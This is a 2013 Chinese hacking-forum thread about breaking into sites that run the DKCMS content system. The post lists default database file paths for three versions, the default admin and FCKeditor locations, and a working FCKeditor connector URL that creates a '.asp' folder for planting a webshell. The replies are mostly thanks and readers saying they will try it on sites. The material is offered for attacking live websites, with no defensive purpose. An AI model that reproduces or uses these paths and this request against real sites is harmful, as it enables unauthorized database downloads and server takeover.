made 发表于 2013-1-10 12:34:21

动科(dkcms)漏洞

主要是差不多3个版本为主，v2.0v3.1v4.2

谷歌关键字：**** Hidden Message *****

官网竟然找不到源码下载，就百度了，下载了这3款源码，因为是asp的源码，大多都是看看默认数据库，一下是三款默认数据库


V2.0   data/dkcm_ssdfhwejkfs.mdb

V3.1   _data/___dkcms_30_free.mdb

V4.2   _data/I^(()UU()H.mdb

默认后台：admin

编辑器：admin/fckeditor

这些都是，由此可见，官方安全意识挺差的，至于后台拿shell，fck编辑器突破可拿shell


建立asp文件夹
Fck的路径： Admin/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/mk.asp&NewFolderName=mk.aspBY:Morker

635634436 发表于 2013-1-10 13:33:14

感谢分享！:)

xiaolynn 发表于 2013-1-10 16:38:44

谢谢，去试下，，

zero123 发表于 2013-1-10 22:24:18

看看，师是否真的有用

08小天 发表于 2013-1-11 09:10:34

zxc979647835 发表于 2013-1-11 10:57:47

死死死死死死

a1144641354 发表于 2013-1-12 19:16:15

:)学习了啊哈哈

john菜鸟 发表于 2013-1-13 14:16:44

可以撸。。

love 发表于 2013-1-13 17:12:33

看看可以秒杀不

aa976102759 发表于 2013-1-14 13:51:11

页: [1] 2 3 4 5 6 7 8
查看完整版本: 动科(dkcms)漏洞